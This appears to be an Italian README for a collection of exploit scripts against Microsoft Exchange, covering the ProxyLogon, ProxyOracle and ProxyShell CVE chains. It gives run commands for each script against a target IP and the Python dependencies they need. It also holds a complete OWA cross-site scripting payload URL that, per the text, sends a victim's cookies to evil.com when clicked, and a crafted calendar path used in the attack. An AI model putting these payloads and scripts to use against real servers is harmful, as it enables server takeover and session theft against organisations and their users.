
[ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Exploit del bug RawIdentity corretto. [ProxyOracle] CVE-2021-31195 & CVE-2021-31196 Catene di exploit. [ProxyShell] CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 Catene di exploit.
Utilizzo: python3 26855.py 1.1.1.1

Una volta che la vittima clicca su questo link, evil.com riceverà i cookie.
https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`[email protected]:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
pip3 install pycryptodome
Utilizzo: python3 31196.py 1.1.1.1 'cadata=xxx; cadataTTL=yyy; ...'

pip3 install pypsrp
Utilizzo: python3 34473.py 1.1.1.1
Utilizzo: python3 31207.py 1.1.1.1 [Percorso file locale] [Percorso assoluto UNC]


Non funziona in alcune versioni del target (a causa del percorso
/@gmail.com), forse lo riparerò dopo
Cookie: securitytoken=foobar
/owa/calendar/[email protected]/foobar/owa14.aspx/.js
Analisi della vulnerabilità di ProxyLogon (Cinese)
Analisi della vulnerabilità di ProxyOracle (Cinese)